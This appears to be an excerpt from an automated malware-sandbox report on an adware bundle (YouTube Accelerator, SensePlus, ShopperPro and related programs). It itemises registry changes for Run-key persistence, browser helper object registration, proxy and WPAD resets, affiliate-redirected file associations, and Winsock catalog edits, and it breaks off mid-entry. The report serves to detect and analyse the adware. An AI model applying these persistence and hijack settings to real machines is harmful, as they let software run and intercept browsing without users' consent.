[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "102"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_102)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process WebPlayer.exe:2420 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "C6 FF 45 65 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "49 92 12 5E AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Sat Apr 18 10:36:31 UTC 0300 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 60 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process smt_istartsurf.exe:3324 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "85 D5 8D 47 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\474.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "4C BB F8 49 AA 79 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process Auajfs.exe:2484 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrPublisherId" = "20891"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "5D CB 8B 51 AA 79 D0 01"

[HKLM\SOFTWARE\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "13 F3 0E 4F AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"DisplayIcon" = "%Program Files% (x86)\SensePlus\utils.exe"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Installer]
"BundledFirefox" = "1"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"Publisher" = "Sense "
"DisplayName" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 57 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SensePlus]
"CrAppId" = "70299"
"UninstallString" = "%Program Files% (x86)\SensePlus\Uninstall.exe /fcp=1"

[HKCU\Software\InstalledBrowserExtensions\20891]
"70299" = "SensePlus"

[HKCU\Software\InstalledBrowserExtensions\Sense ]
"70299" = "SensePlus"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\20891\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process regsvr32.exe:3568 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:3632 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:4088 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3160 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process lspinst.exe:3812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
